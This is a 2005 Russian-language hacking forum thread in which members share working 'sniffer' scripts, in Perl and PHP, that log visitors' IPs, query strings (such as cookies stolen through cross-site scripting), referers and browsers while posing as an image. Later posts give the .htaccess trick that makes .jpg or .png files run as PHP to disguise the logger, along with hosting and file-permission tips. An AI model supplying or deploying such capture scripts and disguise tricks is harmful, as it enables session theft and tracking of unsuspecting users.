Все тот же сниффер.

Discussion in 'PHP' started by Zingara, 1 Mar 2005.

  1. Zingara

    Zingara Elder - Старейшина

    Joined:
    28 Feb 2005
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    Господа!

    Раз из - за глюка все сообщения пропали, то повторно прошу о помощи... Помогите пожалуйста правильно подписаться на сниффер, чтобы на мыло приходили логи!

    Слёзно вас молю!
     
  2. a33

    a33 Elder - Старейшина

    Joined:
    1 Jul 2004
    Messages:
    58
    Likes Received:
    1
    Reputations:
    0
  3. KEZ

    KEZ Guest

    Reputations:
    0
    На web-hack вроде ещё есть.
    МНЕ ЛИЧНО ПРИХОДЯТ ЛОГИ с античатовского снифера
     
  4. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Слушай, скажи как ты сниффер установил?
    Пробывал на фатале и не фига не вышла (на другом хосте тож пробывал).
    Или это не рабочий сниффер?:

    Code:
    #!/usr/bin/perl
    
    #путь к лог-файлу
    $LogFile="log.txt";
    #максимальное число записей в лог-файле
    $mlength=50;
    
    #делаем редирект на картинку
    print "Location: image.gif\n\n";
    
    #читаем CGI запрос
    read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
    $input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
    $input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
    
    #получаем время запроса и HTTP_REFERER
    $now_string = localtime;
    $ref = $ENV{'HTTP_REFERER'};
    
    #читаем лог-файл в массив
    open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
    @LOGtext=<LOG>;
    close (LOG);
    
    #открываем на запись лог
    open (LOG, ">$LogFile");
    
    #сохраняем данные запроса
    print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
    
    #сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
    $counter=1;
    foreach $LOGitem (@LOGtext) 
    {
    if ($counter<$mlength){ print LOG "$LOGitem"; };
    $counter++;
    };
    
    #закрываем лог
    close (LOG);
    
    exit;
    :confused:
     
    #4 rsha1988, 1 Mar 2005
    Last edited by a moderator: 2 Apr 2007
  5. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    как я уже сам убедился снифер на бесплатном хостинге практически бесполезен. Только рефери ты сможешь найти это раз.... Два это то чно снифер лучше делать на php... вроде мароки меньше. может я и неправ. могу дать рабочий снифер на php исходник свой....
     
  6. KEZ

    KEZ Guest

    Reputations:
    0
    Только как ты не бесплатном хостинге заставиш апач передавать управление php (или perl) для расширения jpg. А если НЕ маскировать под картинку то смысла нет... ИМХО фильтрация работает
     
  7. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Давай!
     
  8. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    У меня и платный хост есть и вот что мне там пишет:

    Internal Server Error
    The server encountered an internal error or misconfiguration and was unable to complete your request.

    Please contact the server administrator, webmaster@ and inform them of the time the error occurred, and anything you might have done that may have caused the error.

    More information about this error may be available in the server error log.

    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
     
  9. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    rsha1988 вот лови... то что у меня получилось... может пригодится... :)
    PHP:
    <?php
    $date
    =date("[D|d/m/Y|H:i]");
    $ip=$_SERVER["REMOTE_ADDR"];
    $query=$_SERVER["QUERY_STRING"];
    $real_ip=getenv("HTTP_X_FORWARDED_FOR");
    $otkuda=getenv("HTTP_REFERER");
    $browser=getenv("HTTP_USER_AGENT");
    $win=getenv("windir");
    $fp=fopen("log.html","a");
    fputs($fp,"<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t$query\t$browser\t$otkuda\t$win\n<hr color=#666666>");
    fclose($fp);
    print (
    " <img src='2.jpg'> ");
    ?>
    В каталог со снифером брось картинку 2.jpg
    Лог будет в файле
    log.html
     
  10. KEZ

    KEZ Guest

    Reputations:
    0
    И что ты думаеш, сервак ее будет компилировать как php?
    Он просто передаст содержимое браузеру!
     
  11. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Ура!
    Работает!
    Большое спасибо (-=util=-)!
     
  12. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Правла идинственное плохо что логи в нис идут
     
  13. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    KEZ, Нет.... я же сказал что на php.... элементарный исходник.
     
  14. a33

    a33 Elder - Старейшина

    Joined:
    1 Jul 2004
    Messages:
    58
    Likes Received:
    1
    Reputations:
    0
    to all,сниффер на php похожий на сниффер (-=util=-)
    ну типа 2 в одном: подпись и сниф:)
    http://a2systems.fatal.ru/logo/a2tktsnif.jpg
    смотреть Лог:http://a2systems.fatal.ru/logo/log.html
    Как видите хостинг на fatal.ru
    поддержка ".htaccess".содержание
    AddType application/x-httpd-php .png
    или
    AddType application/x-httpd-php .jpg
    вот и всё
     
  15. coyl

    coyl Elder - Старейшина

    Joined:
    14 Jan 2005
    Messages:
    125
    Likes Received:
    3
    Reputations:
    2
    2 KEZ
    я то думал ты мега прошарен в этих делах, а ты даже не знаешь, что пхп транслируется серваком при любом обращении =)
    если бы сервак передавал нетранслировнный пхп файл, то можно было бы ломать форумы на раз. config.php... =)))
     
  16. coyl

    coyl Elder - Старейшина

    Joined:
    14 Jan 2005
    Messages:
    125
    Likes Received:
    3
    Reputations:
    2
    кстати, еще с месяц назад выкладывал здесь похожий исходник.
     
  17. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    a33, у тебя исходник как и у меня ведь? Только ".htaccess" Добавлял? Я неособо в этом рублю... :) Что смог то сделал))
     
  18. (-=util=-)

    (-=util=-) Banned

    Joined:
    2 Dec 2004
    Messages:
    337
    Likes Received:
    8
    Reputations:
    2
    a33, вопрос снят. Пасиба за инфу.
    аааа ... вот ещё вопрос... какой лучше chmod выставлять выполняещиму скрипту и логу ?
     
    #18 (-=util=-), 4 Mar 2005
    Last edited: 4 Mar 2005
  19. KEZ

    KEZ Guest

    Reputations:
    0
    Скрипту в любом случае Execute (смотри какие числа)
    А логам только Write
     
  20. KEZ

    KEZ Guest

    Reputations:
    0
    логам 771
    а скриптам 660